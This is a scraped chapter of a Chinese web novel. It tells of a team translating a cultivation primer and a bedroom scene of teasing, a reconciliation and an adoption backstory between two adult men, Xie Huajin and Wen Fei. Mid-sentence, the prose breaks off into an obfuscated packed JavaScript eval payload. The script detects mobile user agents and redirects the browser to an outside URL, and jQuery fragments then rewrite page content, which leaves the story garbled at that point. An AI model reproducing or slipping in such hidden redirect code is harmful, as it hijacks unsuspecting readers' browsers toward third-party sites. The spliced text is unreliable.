297.天才与奇葩
作品:《上交国家:位面交易所创业团》 《修真详解》一经公布瞬间被提上交易所第一重要事务梯队,奈何他们心有余而力不足,遇到了一个与之前类似的相当抓马的囧境。
可能掘灵帝国人均卷王吧,这本新手入门版对唐芯等人而言犹如某位著名大佬赫赫有名的那句“人再笨还能学不会微积分吗”。
虽然没有难成物理数学那种“天崩开局”,但密密麻麻的人体穴位经脉神经血管图和简之又简的文字说明还是让他们看得眼花缭乱、稀里糊涂。
唯一的好消息是,贺逸昇再三辨认确定,好歹两边的人体构造99%相似。
周知,医生嘴里没有百分百,所以0.99就是1!
唐老板大手一挥,把书放出去,典籍翻译专家组先把手头上的典藏版武林秘籍放放,把修真入门教程译出来先。
接此重任的大佬们又惊又喜又压力山大,这跟武学可不一样,武学他们“略懂”,可以大胆简化再简化。可修真这一他们从未接触过的东西,敢翻也不敢让几位金贵的老板们“以身试毒”啊。
贺总点出一队医学大佬加入翻译队伍,并带去唐老板原话:“放开手干,她自有保底之策。”
以及谢总原话:大家都是头回接触这种事,能力有深有浅,出差错可以原谅,但要是消极怠工耽误了事,那就是自找麻烦。
如此,他们就放心了。
然而,就是这样一个“文盲”队伍,出现了一个奇葩。
“爸爸,你连经脉图都看得懂啊?”谢韵之小心试探道。
温斐反常缺席,贺逸昇惯常去研究院“监工”,郝部长去和市里联络感情,傍晚的中控室只有吃撑消食的她们与翻书的谢总司令。
“略有涉猎。”
“哦~~~”
“九岁,医学启蒙课,第一节人体结构。你没学?”谢华瑾抬头,眸光锐利,穿过长长的会议桌,精准锁定躲在唐芯和安若素身后一脸空白的谢韵之。
谢之之‘咆哮’:九岁!我哪记得!
再说了,这图上有些经络连贺逸昇都不大认得出,她何德何能知道!
好在他没想计较。顺利结束每日总结会议,谢华瑾收了书站起来:“我有事先走了,你们刚回来别太累,早点回去休息。”说完人已消失在门口。
唐芯和安若素一左一右轻拍谢韵之肩膀,脸上写着安慰,眼里写满同情。
谢韵之憋屈地拍开她们的手:“嗐~他就这样儿,时不时冷不丁来一下,神似网上段子里神出鬼没的班主任。”
“不是段子!”唐芯芯与安素素异口同声坚定大声,“我们遇见的班主任就是神出鬼没的!”
谢大小姐:我的童年你的童年好像不一样~π-π
——————
谢华瑾回到卧室,随手把书抛到茶几上。脱衣、洗衣、洗澡、穿衣,出衣帽间一眼捉到一只赌气斐。
走到床沿坐下,一层层扒开被子。
“出来。”
手下动作遭到抵抗,还不待他诱哄,眼前一黑,自己反被一被子蒙头盖压到床上。
温斐跨坐在他腰上,手扣肩膀,然后……
开始思考下一步做什么。
谢华瑾没给他时间,论近身搏斗的经验,他甩开温斐好几条街。
挣开被子禁锢翻身,一手扣出温斐两手手腕,一腿锢着膝弯把人压到自己腿上趴着,本该锁喉的手直直挥向圆弹挺翘的屁股,一掌、两掌……
温斐眼睛瞪得溜圆,满脸爬上不可置信,识海滚滚,像是跳脚。
【靠!奇耻大辱!】
十九气不打一处来,这人什么鬼情况,又不是不知道自己是“花里花哨的神秘法师”,做什么跟人家显而易见的练家子玩正面硬刚,送菜啊。
【→_→那你打他啊!骂我有什么用?】
【把他打死了怎么办!】谁能赔他一个谢华瑾?连[大道]都不行!╭(╯^╰)╮
十九圆润滚开,留给他一个充斥着鄙夷的背影。
“能消停了吗?”男人声音低沉冷肃,打在臀瓣上的巴掌毫不手软,温斐气笑了:“够了。充血了!”
“是吗?我看看。”
“老子说的是你!!!”
谢华瑾视线从圆弹挺翘的屁股上挪开,垂眸,与眼神幽幽、面色不善的温斐斐对上,清咳一声,把人扶正坐直,想了想,又把人斜捞进怀里,扯了个枕头垫在他屁股下面。
“疼吗?”他疼惜般问道。
像个人体娃娃被他摆来摆去的温斐:小猫批脸
视线下移,瞄到某个精神奕奕的要害,神情不自觉挂上坏笑,手向下探去。
未料,中途被人握住手腕,反折扣在身后。
温斐向上看去,谢华瑾神色平静,眼睛直勾勾盯着他,唯独嗓音有些低哑:“还闹?”
脸上的坏笑秒变正直:“是你打我。”单纯无辜善良柔弱的温斐斐是受!害!者!
谢华瑾伸手,沿途撩起一缕长发缠绕着小臂,两指抵着温斐下巴抬起,另一只手压住两手手腕扣腰,长腿勾起被子遮住两人都不太体面的下半身。温斐睡觉喜欢穿睡袍,这没什么,问题是款式宽松倜傥,极易走光。
十九默默把小黑屋的门锁死,奇怪,刚刚不还剑拔弩张,怎么突然大转弯朝着少儿不宜的方向狂奔O.o?
骂过、闹过、打过,这页在谢华瑾这儿就算翻篇了。
他不想抓着温斐那点有时会从暗中浮现的不符合时下主流价值观的观念不放,非要他“改正”。
毕竟这些事不是“错误”,是社会固有的矛盾,是人类本性驱使的必然。
只是温斐站得太高,走得太远,他已经想明白想透彻的东西直直落到唐芯耳朵里很容易把人带上“歪路”。
他放缓语调,语气堪称温柔:“温斐,我不是在抨击你的价值观,只是它不适合讲给孩子们听,它太过深刻简白。你要给孩子们把书读厚再把书读薄的时间。”
教育总是一项长远的工程,更是一项滞后的伟业。朗朗上口的诗篇,都需要机遇去化作眼里的风景,更遑论那些哲学深奥的人生启迪、社会价值、真理学说。
怀里的人虽然安分,嘴却不饶人:“你不是讨厌我吗。”
“你俯观世界看透全局,可不能只看到瑕疵而无视精华。就像一块玉石,粗看通透细看却有不少瑕疵,可工匠们总不会异想天开把瑕疵变没或干脆舍弃这花了不少钱买回来的石头。能人巧匠善变废为宝,用一块带着瑕疵的原石打造出一款恰到好处的宝贝。”
温斐眸中有流星滑过,嘴上依旧:“你不是讨厌我吗!”
谢华瑾不疾不徐,指尖摩挲他下颌,情绪下沉。
“世界在你眼中算什么?不管它算什么,温斐,你自诩天才,难道没有知不可为而为之,知不可用而用之的能力吗?利用这世上存在的、你看不惯的事物,去把世界改造成你想要的形貌。”
温斐瞪他:“我本就是天才!”斐,大才!!!
谢华瑾眼里闪过细碎笑意,双手环住他腰把人整个儿搂紧怀里,下巴抵着幽幽散发薄荷清香的长发,轻叹:“世间哪有生来完美,不过以不完美成就完美。”
温斐把头埋进他胸膛,深深吸了一口,海洋木质调的沐浴露香混着独属于他的薄荷味。
手轻轻一挣,获得自由,伸到男人背后环抱住他,借力把自己往他怀里塞得更深。
二者间空气被全部赶跑,不留一丝缝隙。
温斐想,自古英雄难过美人关,哪怕英明如他,竟也抵挡不了这柔情陷阱。
唉——
一个谢华瑾、一个唐芯,一个唐芯、一个谢华瑾,都这么说。
他是从了呢,还是从了呢,还是从了呢?
脸颊边胸腔在震动,带动他脸部肌肉也止不住上扬。温斐抬头,谢华瑾不知在想什么,莫名其妙笑了起来,五官舒展,丰神俊逸,真是……该死的性感!
他舔舔嘴唇,有些渴了。
手改抱为攀,摁着男人肩膀挺腰抬身,脸渐渐凑近,唇瓣沿着下巴上滑,那抹红近在咫尺。
被避开了。
温斐气恼,推开他,眼神凌厉如刀。
他、他……
憋了许久,眼里的狠厉渐渐化作浓浓的委屈,他对他都说不出“讨厌”这两个字,谢华瑾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924639|168788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他凭什么!
“你讨厌我。”
谢华瑾呼吸一滞,凑过来重新把温斐揽进怀里,沿着前额缓缓落下轻柔的吻与郑重的——
“对不起。”
“不讨厌你。”
“永远都不。”
“喜欢你。”
“我喜欢你。”
“谢华瑾喜欢温斐。”
……
温斐气顺了,这才对嘛。
他们之间,求爱者是谢华瑾,下位者是谢华瑾。合该是谢华瑾来讨好他,怎么可能是他跟个舔狗一样整天追着谢华瑾乱跑!
斐,矜贵!︿( ̄︶ ̄)︿
“我渴了。”被捋顺毛的猫主子一脸倨傲地等着被服侍。
谢华瑾转身从床头柜倒了两杯水,一手举着一杯递至温斐身前。
他不动。
行。
他就这样举着水杯送到他唇边一点点喂给他喝,等他满意,才抬起另一只手将被拒绝的第二杯一饮而尽。
谢华瑾始终带着笑意注视温斐,他一直觉得温斐很可爱、也很会撒娇。
如果当年……
“您一定要用这种读作父爱的眼神看我吗?”温斐挑眉,歪头,大眼睛无辜又清澈,好似真的是个什么也不懂的初出茅庐的大学生。
“没有。”不是父爱,他确定,是纵容。“是你应该思考是否把我当成了你父亲。”
“怎么可能!”温斐嗤笑,就温二那个德行,要不是别人提起他甚至想不起来还有这么个人。
“你最好是。”
谢华瑾似笑非笑看他一眼,把水杯放回,又遗憾叹气。
“我后悔了,温斐。”
温斐眼睛危险眯起,后、悔?
“当年你父母……意外身故后,你三叔的旧日同僚托人问我是否可以收养你。”
当年温家之事之惨烈,凡知晓内情者无不触目惊心。
温家主和温二窝囊,可温家其他子女皆气性不凡,无论是温大爷的战友还是温三、温四的同事都私下奔走寻摸幸存者帮扶照顾。可以说,正是借了他们的光,才让温二舒舒服服过完了荒诞的后半生。
温二意外离世,众人稍作叹息,幸而他留下的孩子,温斐,七岁便已显不凡天资。他们不期他像他伯爷、叔爷那般,更不指望他复兴祖上荣光,只盼着温斐可以顺顺利利长大,算是全了老战友的遗憾。
找上谢华瑾,是个乍听新奇细想合理的点子。
温谢算得上世交,两家在商场虽有争端,但并无私人仇怨。谢家门风清正,人口少,不屑苛待一个孩子。且谢华瑾当时正值关键时候,收养温家后人,亦可为他名声增光添彩。
几方人一合计,纷纷觉得此计妙极。
奈何……
“你拒绝了?”温斐笑得又坏又有趣,像是听了件值得他幸灾乐祸的事。
谢华瑾轻叹:“是你拒绝了。”
啊这……温斐无辜眨眼,斐斐不知道哦~
“我回复说需要时间同家人商议,可惜第二天他们就告诉我,你一口回绝了,此事日后再无必要提起。”
啊~他想起来了。温斐更觉自己无辜:“他们说要给我找人家收养我,在A市。我问他们能不能带上唐芯,他们说不能,我自然就拒绝了。”
当时他正觉得唐芯有趣,怎么舍得放弃这么有意思的……朋友。
所以他的原话是:“如果你们不希望D贩顺着你们的行踪找到我的话,最好一辈子都不要再出现在我面前。”
如果当时知道收养人是谢华瑾,他或许……会费些力气去说服他们同意他带上唐芯一起走。
反正他自己有的是钱,养唐芯和外婆毫无压力。倘若不够了就去股市捞点,抑或跟着谢二玩“天使投资人”的游戏。
谢华瑾怎么也想不到会是这么个缘由。
这件当初他觉得无所谓的事,现在回想,满是遗憾。
如果他当时能抽时间亲自来见温斐一面,和这个与众不同的孩子聊一聊,哪怕他无法以监护人的名义伴他长大,至少,小小的天才温斐,在孤傲不群的人生前半程就可以拥有两个朋友。

